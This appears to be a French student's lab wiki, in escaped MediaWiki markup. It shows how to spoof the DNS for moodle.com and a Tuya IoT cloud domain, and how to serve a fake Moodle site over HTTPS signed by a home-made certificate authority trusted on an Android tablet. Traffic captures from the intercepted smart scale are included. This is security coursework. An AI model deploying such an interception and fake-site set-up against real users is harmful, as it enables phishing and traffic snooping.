// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communque avec tuya via m2.tuyaeu.com et a3.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
et la vm android a1.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53: après avoir crée dns, site, etc a1.tuyaeu.com&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
